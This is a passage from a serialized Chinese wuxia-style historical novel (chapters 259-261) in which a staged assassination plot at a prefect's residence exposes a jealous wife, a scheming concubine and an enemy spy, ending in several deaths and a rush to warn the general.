执礼深吸了一口气，声音低沉却带着不容置疑的冷静：“小王爷，那封信不过是写了一句‘命里有时终须有，命里无时莫强求’，并未言明任何，如何解读全凭圣意，圣上断然不会曲解和为难少主。但是此次裴桥大祸，罪魁祸首本应当是裴桥那个下毒开城门之人。若能查出此人，此时便还有转圜。”
萧怀逸眼神渐渐沉寂，好似在权衡一切的利弊。最终，他没有多言只是冷冷转身朝外走去，跨上马背，勒马一挥鞭，直奔刺史府而去。
执礼站在原地，凝视着萧怀逸逐渐远去的背影，他深深吸了一口气，心中不知是轻松还是沉重……随即他亦上马而去。
萧怀逸独自一人，走进了刺史府的院落，心头的怒火与焦虑驱使着他不假思索地穿过庭院，未经通报便径直来到了刺史府内院。
苏云青还未醒，内院的气氛与外面截然不同，外面剑拔弩张，暗潮汹涌，而内院一片死寂，只有三个女人，苏老夫人，苏夫人和妾室静芸，绝望的守着，日日祈求，苏云青能睁开眼睛。
此时苏夫人安群芳在药炉旁默默守着，她身穿简素的衣裙，专心致志地煎药。炉火中的药汤轻轻地冒着蒸汽，她的丫鬟在一旁认真填着柴火，空气中弥漫着草药的清香。安群芳寸步不离，注视着药罐里的水，丝毫不敢怠慢。
萧怀逸站在门口，目光深深地看着她，忽然开口道：“苏夫人待苏大人，真是神情一片。”
安群芳的目光微微一顿，听到这话，她顿时愣了一下，随即转头看向萧怀逸。于礼而言，未经通报的男子闯入内院，此等行为着实异常和无礼，尤其是内院如今只有妇人，她此刻脸上不自觉地浮现出一丝冷漠与不悦。
萧怀逸察觉到她的神色，立刻恭敬地站在远处，低头行礼：“请苏夫人恕罪，我实在是有不情之请，还请夫人见谅。”
安群芳没有立刻答话，只是淡然地站起，不卑不亢神色平静：“萧小王爷，何事？”
“请苏夫人恕我冒昧，你可否助我铲除了方茉云这个妖女！”萧怀逸顷刻间眼中愤怒的火焰迸射而出。
苏夫人的眼中闪过一丝震惊，她下意识地停下了手中的动作，但是她迅速冷静下来。
萧怀逸继续义愤填膺地说道：“可叹那峑戎的杀手没有拿得了她……但裴桥之祸，她本难逃罪罚，但我没想到正啸哥会如此不顾性命地护着方茉云！民众要拿方茉云祭奠亡人，他派军守着；皇上要取方茉云的性命，他便将罪担了！如此罪恶狠戾的毒妇，竟然能将大将军蛊惑至此，我决不能留她！”
苏夫人神情依旧平和，语气带着一丝疏离：“小王爷，你说的这些我一个妇道人家不懂。”
她语气淡漠，好似这个话题与她并无太多关系，萧怀逸的愤怒却未曾消退。
萧怀逸的语气充满了决绝：“苏夫人，我什么都不需要您做，只需要您将府衙后院的后门虚掩，我定然会将此事办妥。”
安群芳依然冷静，好似听到了什么荒谬的要求。她轻轻放下手中的药匙，眉头微微皱了皱，声音如流水般平静：“小王爷，您说笑了，私宅后院的怎可随意开？”
萧怀逸双手紧握，眼中怒火仿佛即将喷发：“苏少夫人，您的父亲乃裴桥第一任刺史，您眼看裴桥民众被此妖妇如此荼毒，怎会不动容？邪魔歪道，人人得而诛之！”
安群芳依旧站在药炉旁，目光未曾偏移，她继续轻轻看着药炉中的水，似乎完全不为所动：“萧小王爷，您知道我的丈夫与方大人为至交，我夫君宁弃性命亦要救她。而且，她是朝中三品将军，我一妇人开罪不起，虽愤慨也只能隐忍。”
萧怀逸怒火中烧，但依旧深吸一口气，努力让自己的语气更加冷静：“苏少夫人，夜里我引暴民入府，趁她如今中毒未愈，内力不济，群力诛杀她。到时候法不责众，没有您和苏家的干系。”
安群芳看着萧怀逸，眼神复杂而淡然：“萧小王爷，您匡扶正义之心，我内心感念，也为裴桥百姓谢您。可是，我夫君未醒，我不敢信任何人，亦不会做半分祸及苏家门楣之事，还请您谅解。”
两人的目光在空中交汇，空气中的紧张氛围愈加沉重。安群芳的语气中透着隐隐的戒备与怀疑，萧怀逸感知到她的疏离与防备，心中愈加明白，这位苏夫人并不像她外表那样素雅淡然。
萧怀逸没有急于回应，而是眼中闪过一丝深邃冷意：“苏夫人请放心，这世上不会有人比我更想除掉方茉云。”
安群芳微微挑了挑眉，低头端起药炉往碗中倒药，手中的动作不急不缓：“据我所知，萧小王爷久处东境，与方茉云无冤无仇吧。”
萧怀逸的神色瞬间变得冷冽，目光闪过一丝鄙夷：“此等贱妇，这一生蛊惑了多少男子，居然还将魔爪伸向卢正啸！”
安群芳握住药炉的手愈发紧了，紧得关节泛白，微微有些颤抖，可那药炉看似并没有那么重。
“当日正啸哥救我于将死之时，我这一生活着便是为了报恩，怎么能任由这等贱女子荼毒之？所以，是我用正啸哥的名义，写了那封给峑戎的信，激得幽戎派人来抢那贱妇。谁知道那贱妇宁愿牺牲满城的人，都不愿现身！”
此言一出，安群芳握住药壶之手突然一震，药液险些倒入了药碗外，萧怀逸此话好似一颗石子投进了湖面，激起了层层波澜。
安群芳静静地放下药炉看着萧怀逸，眼神透着一丝审视和警觉：“我父亲文武双全，为护佑裴桥，亦是自幼教习子女习武，我亦习得些身手，可萧小王爷您文质彬彬，又岂是写出大将军之字的人？”
萧怀逸缓缓伸手拿起厨房中的铁木筷子，双指一掐，便将筷子轻松断开。那一刻，安群芳的眼中闪过一丝诧异，惊异于萧怀逸这位看似文弱的王爷，居然有如此深厚内力。
萧怀逸微微一笑，眼神深邃的说道：“夫人可命您丫鬟取笔纸来。”
安群芳微微蹙眉，轻轻抬手示意丫鬟去取来纸笔。她的目光依然警惕地注视着萧怀逸，而萧怀逸则在烛光下，手指流畅地写下了那几个字——“命里有时终须有，命里无时莫强求。”
他所写的字与安群芳那份公告上看到的字，几乎一模一样，不差分毫。
安群芳让丫鬟将那张纸收了起来，便再无迟疑的望向萧怀逸，问道：“你的人什么时辰进来？”
萧怀逸勾唇一笑，只有拥有共同的目标，又相互持有把柄之人，才是最好的合作伙伴，他眼中带着一丝阴冷：“夫人果然快人快语，丑时，众人熟睡之时动手。”
安群芳的脸色微微一沉，语气冷冷地说道：“她旁边的房
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间有大将军的随身侍卫万莫在。”
萧怀逸神情自信而不急不躁的说：“我自有办法将万莫引开。”
安群芳没有立刻回应，而是端起药炉继续倒着药，眼神略带冷漠：“那妖女虽中毒未愈，但是刀剑功夫着实了得。”
萧怀逸眼中闪过一丝杀气，冷静地说道：“只要暴民冲入府邸即可，若他们杀不了，不还有苏夫人和我吗？到时候死无对证，谁干掉的她，重要吗？”
安群芳听后，停下手中的动作，目光变得更加冷淡。她知道，萧怀逸已经决意以极端的方式解决此事，而她自己也日日夜夜恨不得将方茉云碎尸万段。
“便依您的计行事！”安群芳冷冷的端起了药碗走了出去。
夜深人静，月光如水，洒在府衙的院落里，安群芳站在屋内，神色冷静，她站在窗前望向月亮，快到丑时，她轻轻抬手，示意丫鬟悄悄去后院打开门。
随着门轻轻地打开，一行身影悄无声息地闯入了府衙后院。手中明晃晃的尖刀在昏暗的月光下反射出冷冽的光芒，空气中仿佛也凝固了几分紧张的气氛。
安群芳的丫鬟紧随其后，看着这行身影，然后回到安群芳身边低声说道：“果不其然，都是在城中闹得最凶之人。那个为头之人便是当日质问大将军之人，那个穿孝服的少年。”
安群芳深吸一口气，脸上露出一丝忧虑：“他们会是那贱女人的对手吗？”
丫鬟看向她，语气更为坚定：“放心吧，夫人，我今日经过还听白神医说她的余毒未清，她走路之时还是踉踉跄跄的，又如何敌得过？”
安群芳最终点点头，叹息着说道：“好，事成之后，想办法放裴桥的民众走。”
她的眼神如此复杂，似乎也透出了这世上最深的狠，却又含着一丝愧意。
夜色更深，随着萧怀逸的身影穿梭在院中，众人纷纷跟随他进入外院。安群芳则在远处跟着，冷冷地观察着这一切，目光冷冽，心中思绪纷飞。
萧怀逸轻声对身后的人说道：“我先去引开万莫，他是高手，尔等再入院闯入房中，将方茉云乱刀砍死。”
他的声音低沉且果断，好似一切尽在掌握，众人纷纷点头。果不其然，当萧怀逸悄无声息地进入院中，只是轻微的响声打破了夜的宁静。
万莫便从旁屋中猛地冲出，声音充满怒火：“是谁？”
他冲出之时都未穿外衣，脸上满是警觉与愤怒。萧怀逸毫不犹豫，飞身而去，速度之快让万莫来不及反应。万莫愤怒地追了出去，二人迅速消失在黑暗中，院内一片寂静。
而与此同时，院中的一群人顿时举起大刀，齐声吼道：“方茉云，陪命来！”
他们冲入房中，顿时刀剑碰撞的声音如雷鸣闪电般在寂静的夜空中回荡。方茉云似乎凭借着顽强的意志，虽未恢复完全，却迅速迎战。
她们打到了院中，茉云冷冽的剑气瞬间逼退了众人，众人到底只是普通民众，虽强壮却不是刀剑高手。
而此时方茉云的亦是孤木难支，嘴角顿时溢出鲜血，但她依然不屈，用剑支撑着自己怒声吼道：“就凭你们，也能杀我？”
然而，就在此时时，一道寒芒如电光闪现，带着雷霆万钧之势，饱含着人世最深的恨意与决绝，好似凝聚了人半生所有的痛苦与嫉恨，直指茉云的胸前而来！
259.嫉恨
就在危机时刻，房门猛然被推开，紧接着沧海和千山等人如猛虎出笼般冲出。沧海手中那柄剑锋芒犀利，带着惊人的气势，迅速抬剑斩向安群芳的剑，瞬间将其斩断。
安群芳眼神中透出震惊与愤怒，她顷刻意识到，原来方茉云早有防范。
就在这一刻，沧海与千山迅速将安群芳和她的丫鬟制服，押解至一旁。安群芳面色苍白，神情还带着难以抑制的愤怒，却无法挣脱。
执礼的身影从屋内中走出，声音冷冽而带着一丝嘲讽：“苏夫人，这就是您苏家的待客之道吗？”
方茉云缓缓站起，擦去嘴角的假血，目光依旧冷冷：“苏家可从未当我是客过。”
就在此时，刺史府中的其他人闻声纷纷赶到，目光震惊地注视着眼前的一切……
若辰夫妇最先赶到，看着方茉云并未受伤，心中的担忧才略微放松。看着这满地的伤员还有被押解的苏夫人，不禁深深叹了一口气。
与此同时，被静芸扶着来的苏老夫人亦赶来了，突然看见眼前的一切，愤怒地吼道：“方茉云，你竟敢让人对我儿媳如此无礼！”
执礼冷冷一笑，指着安群芳说道：“苏老夫人，这些人是你儿媳放进来刺杀方将军的，而你儿媳刚当着众人的面意图对方将军不轨，她的剑是被沧海将军斩断的。”
苏老夫人愣住了，可地上分明是她儿媳的剑……她目光震惊地转向安群芳，颤抖地问道：“真的？”
苏夫人依旧面无表情，眼神冷静而决绝：“娘，事已至此，我亦没什么好遮掩的。我恨她害我丈夫，害了全裴桥，她该死。”
就在此时，万莫与萧怀逸走了进来，萧怀逸的目光冷冷扫过安群芳。安群芳则瞬间意识到，不只是方茉云早有防备，而是自己中计了。
此时，她的丫鬟顿时满脸愤怒，声音带着控诉，将那封信丢在地上：“是萧小王爷诓骗我家夫人，还当面写出了这封信，骗取夫人信任，说什么求夫人助她为国除害，杀此妖孽，怎么如今……反倒污蔑起夫人了！”
若辰等人借着灯笼的微光，亦看见了这一行字，吃惊的望向萧怀逸，执礼则深吸一口气，此时萧怀逸却一脸的坦然，只要能帮卢正啸拜托恶名，他什么都可承受！
安群芳冷冷的看向萧怀逸，目光中透露着一丝嘲讽：“原来是小王爷，宁可冒死亦要来陷害我。”
她话音刚落，方茉云却忽然笑了，笑声中带着一种凌厉与狠戾，在暗夜里显得格外渗人：“安群芳啊，陷害你？你为了裴桥？你爹安刺史在天之灵看着呢？”
她的话语如同一记重锤，顿时狠狠砸向安群芳的心头。安群芳的神情瞬间闪过一丝异样，但她迅速恢复了冷静，强忍着内心的动摇，依旧装作镇定。
苏老夫人的眼中闪过一丝愤怒，她转头看向安群芳，声音低沉却充满了质问：“是否是他们陷害你，儿媳，你说！便是上京告御状，我老太婆亦要……”
然而，未等她的话语落下，静芸急忙挡住苏老夫人走上前，眼中透着关切与一丝急迫，她看向安群芳：“姐姐，您若有委屈，若被逼迫，您便赶快说出来，茉云姐姐定会为你主持公道。若是您……真的做错了，你就像茉云姐姐磕头认错，她会原谅你的！”
安群芳听到这话，脸上顷刻露出一抹嗤之以鼻的笑意，眼中满是冷漠，她宁死怎可向方茉云磕头认错！
方茉云却冷冷地收剑，目光如冰霜般扫向静芸，语气淡漠却带着深深的寒意：“你几时见我原谅过人？”
静芸见状眼神略显无助，随即跪下，语气带着伤心和无助：“茉云姐姐，我家夫人也只是担心夫君，那日看着夫君对茉云姐姐您，宁死都要相护，您却没有出现，她才会……一时行差就错……请您原谅她。”
茉云的眼角忽然闪过一丝狠戾，冷冷地看向静芸，不置可否。
静芸语气哽咽，转头看向安群芳，泪水已经夺眶而出，声音哽咽道：“姐姐，您若犯下大错，您赶快跟茉云姐姐认错。”
此刻茉云忽然低头，眼神锐利如刀地看向静芸：“你是知道她犯了什么大错吗？”
静芸顿时惊慌失措，好似被茉云的目光震慑住，只能无力地垂下了头。
茉云见她沉默不语的神情，嘴角露出一丝冷笑，指着静芸说道：“将她押解。”
众人都愣住了，目光转向茉云，不知她为何要处置静芸。静芸眼中满是惊慌，在场之人，唯有万莫二话不说，上前将她也押解了。
苏老夫人见状，顿时怒火中烧地吼道：“方茉云，静芸又犯了什么错？你居然如此滥用私刑？”
静芸亦是更加失措无辜地望向着茉云说道：“茉云姐姐……”
然而，茉云并未看老夫人和静芸一眼，目光唯独望向苏夫人安群芳，缓缓开口：“安群芳，你罪恶滔天，死罪定是难逃，但今日你死，也要让你死个明白。”
安群芳则面色冰冷，依旧不屈，冷笑道：“方茉云，我杀你这个裴桥的罪人，且并没有伤到你半分，你要杀我，你问问裴桥民众，他们同意否？”
茉云的眼中闪过一丝冷光，随即指着旁边被押解的裴桥暴民，语气愈加冰冷：“正好让他们也看看，他们一直爱戴的安大小姐是如何被嫉恨冲昏了头脑，最终让人利用，致裴桥于死地的。”
安群芳听到此，眉宇间依旧没有任何惧色，脸色一沉愤然说道：“你不要信口雌黄！你若有证据就拿出来？”
茉云听到安群芳的质问，只是冷冷一笑：“安群芳，我审犯人，从不需证据。”
她目光犀利地望向安群芳，她判案素来不需要用证据去证明什么，只等着犯人癫狂自招。
“安群芳，我且问你，是谁将我的存在告知于你的？以你夫君的为人，定然不会在你面前屡屡提及我，以此来伤害你，是谁乐此不疲地告诉你，苏云青深爱之人不是你，也永远不可能是你的？”茉云的话犹如一记重锤砸向安群芳的心脏，让她不禁怔住。
安群芳的眼神微微一闪，心中质疑与嫉恨顷刻间交织在一起。
茉云继续冷冷地笑着，说道：“或者这么说吧，是谁让你觉得你定要不顾一切的除掉我，而你若能除掉我，你也必死无疑，谁坐收渔翁之利呢？你觉得那个人手握你下毒私开关门的证据，为什么不大义灭亲举报你？因为那人还做着美梦，等有一日，你能杀我，然后你再被杀呢？”
安群芳若有所思地抬起眉，目光凝视茉云，心中的疑虑开始变得更加深沉，她似乎隐隐地意识到，这一切似乎……
“那人是不是常常跟你说，姐姐你不要怪夫君，夫君他心里自幼只有茉云姐姐，愿为她摘星彩月；或者提醒你，姐姐，你看夫君又在仰望天上云彩，他是在想茉
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云姐姐了吗？再或者说，姐姐，真羡慕你，你和茉云姐姐都是巾帼英雄，夫君说，你与茉云姐姐练剑之时极为相像。”茉云缓缓坐到石凳上，万莫马上为她取来了披风。
安群芳的神情顿时愈加复杂，心中突然升起一种莫名的恐惧，她开始意识到，一切的背后似乎有着她未曾意识到的阴森……
“我来裴桥，老夫人定是极其不悦的，她是不是又当着你的面假意宽慰你婆婆说，老夫人，您别生气，昔日茉云姐姐只要来了，夫君亦是早出晚归的去寻她，夫君幼时便是这样可对茉云姐姐掏心掏肺呀，夫君重情义，您别生气，只要夫君开心便好。”茉云俯身凑近安群芳冷冷的说道，“有人在你身边这么说吗？”
茉云的每句话都像一道闪电，击中安群芳的内心，让她逐渐明白，自己好似是陷入了无法自拔的漩涡之中。
“还有告诉你一件事，我之前压根不知，我在城中所居之所是你安家祖宅，糊涂的苏云青将你家空置的祖宅，借给崔老将军作为边军城中的公务之所，昔日苏大人曾随意提过一句，他在城中寻了好几处都不合适，还是静芸提议将此处借给崔老将军的。”茉云冷笑着看着安群芳说道。
安群芳听到此顿时瘫坐在地……
茉云的目光冷冷地扫向安群芳，语气沉静却带着深深的讽刺：“苏云青心中其实坦坦荡荡，只是就近正好有一座空宅，便借给了崔老将军。可从静芸这贱人口中散播的谣言便是，那人来了，苏云青的眼里就只有她，会掏心掏肺地对这个他的心上人，宁愿将妻子的祖产拱手于她，金屋藏娇，让你安群芳数十年的付出变成一场空，一片痴心被践踏，成为全裴桥的笑柄。”
安群芳的眼神瞬间变得空洞，一切的理智和支撑都在茉云的话语中崩塌，她的内心如死灰般渐渐消沉。
茉云的话语却依旧如寒冰般继续袭来：“静芸这丫头幼时不叫这个名字，苏云青曾为她取名灵犀，可她跟苏云青说，她希望能在云飘走之时，她代替我静静陪在他身边。所以她自己改名为静芸。我当时就觉得这丫头之言听着纯真深情，可总觉得怪，原来她无邪的面容下有颗极恶的心。”
静芸此时泪眼朦胧声音颤抖，仿佛无法理解茉云所说的每一个字：“茉云姐姐，你在说什么，我不懂。”
“不懂啊，那你先等会儿，一个个来！嫡庶有别，先和你姐姐聊！”茉云冷笑着继续说，笑中带着深深不屑，“安群芳，你准备借峑戎之手，除掉我之时，也未曾想过局面会失控到如此吧？裴桥生灵涂炭，苏云青亦将永远失去。其实，白神医说……苏云青可能醒不过来了。”
这句话如同五雷轰顶般震响在苏家人的耳中，安群芳顿时眼神茫然，整个人仿佛失去了所有的力量。
茉云一把拉住了安群芳的肩膀，语气忽然变得复杂：“其实我能体会你恨我，若我是你，也会恨。可恨我，可以来杀我，堂堂裴桥第一刺史的后人，被利用沦为了敌人手中的剑，属实太可悲了？”
安群芳的泪水瞬间决堤，双眼泪如雨下，她的整个世界在这一刻崩塌了。
她的丫鬟见状，急忙咬牙说道：“小姐，你切莫被她所蛊惑了。”
茉云冷冷地扫了她一眼，嘴角勾起一丝狠戾的笑，却好似闪过一分赞赏：“安群芳，你可有发现，这苏家，除了你这妾室妹妹，你的贴身丫鬟也挺能耐吗？
260.诛心
“苏夫人，裴桥之人都说你端庄大气，满城只有两人知道你恨我入骨，就是你这妾室妹妹和你这丫鬟。静芸虽阴狠，但她乃苏家收养，至少知根知底，她没这个能耐私通暗营，那你觉得峑戎是如何知道你恨我的？”茉云冰冷的目光直逼上前。
安群芳的脸色剧变，内心的恐惧和不安瞬间升腾，好似人间的一切，瞬间成为了一场无比清晰的诡计，她所依赖的一切都变得支离破碎。
安群芳的丫鬟顿时忿然驳斥道：“我不知道你在胡说八道什么，我自幼便在小姐身边长大！”
“你以为我是设局抓你家小姐吗？我要逮她太容易了，因为她死都不会离开苏家的，我是要逮的是你，这个自幼在她身边的峑戎暗探。”
此时众人都吃惊地看向她们，可裴桥人皆知这个小丫鬟是很小便跟在大小姐身边之人啊。
“幼时你扮成孤苦伶仃的孤女，流落街头，让这个正义感爆棚的安家大小姐正好看到，她定然会带你回府，你便在裴桥刺史府中潜伏了下来，一呆就是几十年！”茉云眼中露出了决绝的光芒，“于峑戎而言，你是个忠贞能耐之人，倒也值得人高看一眼。”
“你凭什么这么说我？”
茉云看向安群芳的丫鬟眼神露出了世上最狠戾的光，说道：“你可知道，皮勋被高挂在益城的城墙上，被一众箭手射成了刺猬！这是他应有的下场。”
顿时安群芳的丫鬟手颤抖了一下，可是明显感觉道她的眼神中拼命压制着翻腾。
茉云抬手便从那丫鬟腰间扯下了一枚佩玉，玉色浑浊，是完全不值钱佩饰，可是这一刻那丫鬟忽然被激怒疯狂的吼道：“将玉还我！”
茉云冷冷的望向那丫鬟却狠戾的说道:“玉佩上刻着的字，好似是回字，你和皮勋一直彼此互勉吧，你这个暗探做梦都想回家乡峑戎，而他这个私生子穷极一生只想回宗室家族，奈何你两恶事干尽……最终魂断梦陨。”
“把玉还我！”那丫鬟顷刻癫狂的吼着，连千山都差点没能压住她，她不顾一切的在地上挣扎的吼着，“卢正啸也不会有好下场的！”
众人都诧异的看着，而她挣扎之时一口鲜血喷出，她咬碎了口中毒药，可是她还是拼尽最后一口气喊道：“把玉还我。”
最终茉云松手了，玉落在了丫鬟的眼前，她最后一刻用尽最后力气伸出了手，握紧了玉……
顿时现场一片死寂，众人都不知道以何种神情来看待眼前这个用尽一生，甚至没有人知道她姓名，没有为自己活过一日的敌人。
现场一片死寂，所有人都沉浸在叹息与惊愕之中，只有静芸一人，神情没有丝毫为丫鬟死去而动容，她呆若木鸡地望着茉云，眼中空洞，喃喃道：“少爷，醒不过来了吗？”
执礼忽然接过话：“白神医只是不想打击老夫人，苏大人命不久矣。”他的声音冷静而坚决，带着一丝无可避免的事实，仿佛一记重锤砸向静芸的心脏。
静芸的脸色瞬间变得惨白，双眼瞪大变得疯狂，声音撕裂了寂静：“你骗我，不可能，少爷不会死！”
执礼深吸一口气，继续冷冷说道：“那你以为，这世上何人昏迷这么多日，还醒得过来？”
“不可能！”静芸几乎歇斯底里地吼道，整个黑夜似乎她的叫喊而变得阴森，她的声音中透着无法接受地崩溃和疯狂。
这一瞬间，连本已悲痛万分地苏老夫人都被震惊了，她从未见过这样的静芸。
茉云站在一旁眼神冷冽，淡然说道：“机关算尽一场空，怪谁呢？”
静芸的情绪彻底崩溃，突然歇斯底里地吼道：“怪你们啊！你方茉云也是家破人亡，一名不值的卑贱女子，凭什么少爷就对你念念不忘，为什么都是没爹没娘，遭人嫌恶之人，你就能得到一切呢？而你还如此高高在上，不屑一顾！你就该死！”
她的声音尖锐刺耳，充满了愤怒与不甘，似乎在宣泄心中所有积压已久的仇恨。
“我守了少爷半生，凭什么安群芳就靠刺史之女的身份成为他的正妻，苏哥哥是我的，少爷是我的！”静芸顿时癫狂的对天咆哮道，好似顷刻褪去了无辜天真的外壳，妖魔横空出世一般。
众人皆惊愕，只有茉云依旧处之泰然的看着她，眼中没有丝毫波动：“前些日子，苏云青说我悔婚之后，他才意识到我待他只有兄妹之情，曾怅然若失了很多年，但这些年过去了，他很感念上天恩赐了他夫人来陪伴他，他书房桌上那副未完成的画，旁边写着‘愿如风有信，长与日俱中’，应该就是送给她夫人的生辰礼物吧？”
执礼旋即伸手帮茉云打开了那副画卷，画上画着他与安群芳春日游湖的场景，哪怕是借着灯笼微弱的光，苏家人亦谁都认出此乃苏云青之笔，画面透出和煦的春意和绵绵的情思，执笔温润亦如苏云青本人。
安群芳抬目吃惊地望向那幅画，眼中浮现出难以置信的巨痛，顿时泪如雨下……
而静芸的脸色瞬间变得苍白，随即她爆发出更大的怒吼：“那我几十年的陪伴呢？又算什么！”
茉云冷冷地看向静芸，眼神如寒冰般透彻：“为了送他一条绝路啊。你以为杀了我，逼疯了安群芳，苏云青就是你的？你以为收买了她的丫鬟，安群芳就被你玩弄在鼓掌之间，却不知，你们两合起手来送了苏云青一条绝路。”
她的话语如一阵狂风暴雨，将静芸所有的幻想与努力一扫而空。静芸的眼中满是无法接受的震惊，她的双手微微颤抖，仿佛刚刚意识到自己所做的一切不过是徒劳……
茉云轻轻地拿起那幅画，目光静默地停留在画上，带着一丝忧伤与无奈轻声念道：“愿如风有信，长与日俱中——风在需要之时来了，像春风时节暖阳至，温和的长久的陪伴着”
听到这句，静芸顿时彻底崩溃，疯狂的情绪一瞬间爆发。她的双眼布满血丝，面容狰狞地冲了过来，要撕毁那画，癫狂地吼道：“那我算什么，那我又算什么！”
然而，就在她即将触碰到那幅画的瞬间，一道寒芒闪现，是安群芳拔剑刺向静芸，冷冷地终结了这罪恶而又深沉的情感纠葛。静芸猛然倒在地上，眼睛死死地盯着安群芳，目光中亦满是憎恶和嫉恨。
众人不免错愕望向她，还未晃过神，安群芳立于人前，恢复了沉稳和冷酷。
“我终于明白他每次见你的欲言又止是何意？他定是知你是何人，只是他就是这般仁慈，不忍弃你，不想辱逆他娘亲。”安群芳的语气如同寒冰，毫不留情，“那今日我便以苏家夫人的身份，将你这贱妾赶出苏家，自此苏家休了你，你死不可和他同穴，不得入苏家坟。”
静芸的眼中终于浮现出一丝惶恐与哀求，她拼尽力气，发出最后一声撕心裂肺的吼声：“不！”
安群芳眼中却没有丝毫动摇，她忽然抽剑收回，架在自己的脖子上，目光凌冽而决绝，却终于露出一丝淡然的神态，望向茉云说道：“昔日你曾说想邀我喝酒，就是想跟我说明和云青之事？”
茉云冷冷的望向安群芳最终微微点了下头，自己见其第一面之时便感觉到，她所有端庄大气的礼节之下好似藏着什么，可当日心存嫉恨的安群芳找借口冷漠地拒绝了，而自己却因事忙……
“我父亲一生为裴桥，我却因一己之私，愚蠢地打开了裴桥的城门。”安群芳终于放下了所有真正的防备和嫉恨，悔恨的泪水流了下来，“我是裴桥的罪人……致裴桥生灵涂炭，血流成河。”
茉云亦深吸一口气，她都未曾想过一个误会，却酿成了这人间的大祸。她也愿意相信安群芳本不想伤裴桥一草一木，可奈何她因妒失智，被人如此利用……
安群芳含泪祈求地看向茉云说道：“而云青此生一件伤人的事都不忍做，定是要上天的，而我……肯定要下地狱，我许是不能再与他相见了，求你一件事，将此画与我同葬。”
茉云看着她的眼睛，神情终于闪出了一丝动容，最终点了一下头。
安群芳便感激点了一下头，再没有片刻的犹豫，一剑而下，生命戛然而止。她的身躯缓缓倒下，倒在了那张放着画的石桌旁，像是靠近这人世最后一丝温存和美好，她的脸上带着一丝终归的平静。
茉云伸手轻轻卷起那幅画，收到了安群芳腰间，看着她还未闭上的双眼，不禁叹息，她曾是声名显赫的名臣之后，一生着实难负，身边都是居心叵测，负她，骗她，奈何她却连身边唯一的真挚都错过了。
最终安群芳的热泪从眼角滑落，眼皮沉重地闭了下来，好似此刻她才终于找到了归宿。
茉云起身抬起目光，而此时苏家夫人瘫倒在地，她面如死灰，眼神呆滞，好似已然失去了一丝的力量。她注视着眼前倒下的三具冰冷的躯壳，是她们害死了自己的儿子，可是当年，都是她亲自为儿子选的。
茉云依
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旧没有看她一眼，只是转身轻轻地说道：“苏老夫人完全不知情，将派人她扶进去吧。”
执礼随即点点头，示意身边的人将苏老夫人扶起，将她送回内院。
夜空低垂，众人站在原地，静谧得仿佛时间在这一刻停滞，每个人都陷入了沉默，好似都在为一切的错负和无可挽回的结局默哀。
然而，突然间，远处传来一声凄厉的嚎哭声，犹如尖锐的刀割穿夜空的寂静。
那声哭泣透出撕心裂肺的痛苦，带着苏老夫人深深的绝望，好似将整个夜空都撕裂开来，震荡了所有人的心灵。她这一生为儿子可谓是倾尽心血，机关算尽，却最终换来了一场空。
众人依旧沉默，眼中闪过一丝惋惜与叹息，只能在这个深夜里默默承受着这场悲剧带来的沉重与无奈。
而就在此时传来了低沉的声音：“你果然如传闻中那般手段高超而狠戾，杀人之前必诛心，这丫鬟死之前梦断，静芸死之前被休，安群芳死之前痛彻其憾，皆是生无可恋，让旁人都觉之痛快，亦觉得痛！”
萧怀逸的话语中依旧带着对茉云的排斥，但又难掩其中的钦佩，他亦早知等待自己的绝非好运。
他微微停顿了一下，眼神中的冷意加深：“皆是该有的报应，那我的报应是什么？”
萧怀逸目光深邃地望向茉云的背影，似乎在等待她的回应，茉云则缓缓转身望向他，嘴角微微上扬，又露出了一丝那熟悉而狠戾的笑意。
“小王爷，若非我是局中人，平心而论，其实你此计甚好，您属实乃人才。”茉云双眼凌冽的望向他，目光犀利却带着笑意说，“我没打算让你死，人才有用，可留着赎罪。”
“方将军，有何资格对我说‘有用’，‘留着’二词！”萧怀逸冷冷的望向茉云，他的话语中依旧透着不屑与忿然。
茉云却只是冷冷一笑，眼中闪过一丝深刻的意味：“可这世上唯一有资格对你用这两个词的人，怕是永远都不会对你说了，因为卢正啸怕是难再信你了。”
这一句话如一支冰冷彻骨的寒箭，直刺萧怀逸的心肺，刹那间，他的眼神都黯淡下来，仿佛整个人的精气都在瞬间消散。
是啊，这世上他最在意，最崇拜的人，可能再也不会信任自己了。方茉云的话顿时击中了他的内心，让痛楚无法逃避的在内心翻江倒海。
若辰深吸一口气眉头紧锁，目光望向萧怀逸，他和正啸都未曾想过，这个人会是他！
茉云冷冷一笑转身离开，看向沧海神情才恢复如常，问道：“沧海哥，你和千山为何在此？”
沧海沉默片刻，才答道：“大将军让我们来的。”
茉云的目光一转，没好气地看向千山：“让你们来看着我？”
千山直接点了点头，语气诚恳：“少主昨日傍晚的原话是，不知道她又在搞什么鬼，别让她把小命都玩了去。”
茉云愣了一下，执礼顷刻间无语的望向千山：“您就不能说，少主是担忧她的安危，让你们来护卫的？”
此时，茉云嘴角才终于露出一丝笑意，无语的说道：“回他身边去吧。”
说完，茉云往房间走去，但刚迈出几步，忽然停下看向执礼说道：“为何那暗探忽然说，卢正啸也不会有好下场的？”
“难道是将死却不服，出口张狂。”执礼望向茉云恭敬的回复道。
茉云若有所思地走了，众人皆沉默地各自去处理事宜，若辰和季岚回到房间时，天已经破晓，阳光透过窗帘洒进屋内，忽然季岚看到窗边的桌案上留着一封信，马上取来递给若辰。
若辰打开信，看到信中写着：“裴桥城中还留着一队峑戎杀手。”
季岚看见这行字，二话不说转身往茉云的房中疾步而去，推门而入。
茉云正靠在床边坐着，沉思着，望向一贯都会通报才进屋的季岚。
可听完季岚的消息，她目光微凝，若有所思，季岚喘着气满是担忧地说道：“你身上有伤，毒亦未清，这几日要小心，不知那些杀手埋伏于何处。”
然而，话音未落，茉云猛地推门而出，身影如闪电般冲出院门，飞身上马，不顾一切地向边关军营疾驰而去,杀手会在哪里？城中没有丝毫动静，而几波援军入边关营，本就各自不相识，那波杀手定然就藏在其中，可此时千山、万莫、沧海却都被他派往了自己身边，他身边无人……
261.沉沦
清晨薄雾未散，寒风刺骨，茉云一路策马疾驰，身影如风，飞扬的马蹄声在寂静的清晨中格外响亮。她身上之伤还没恢复，余毒未清，此刻内力翻腾，每一口呼吸都像是在刀刃上划过，但她依旧不顾一切，往边营奔腾而去。
路上她遇见了回营的沧海和千山，只冲她们吼了一句卢正啸有危险，便急速策马而去，未停留半分。他们二人心中一惊，立刻快马加鞭紧随其后。
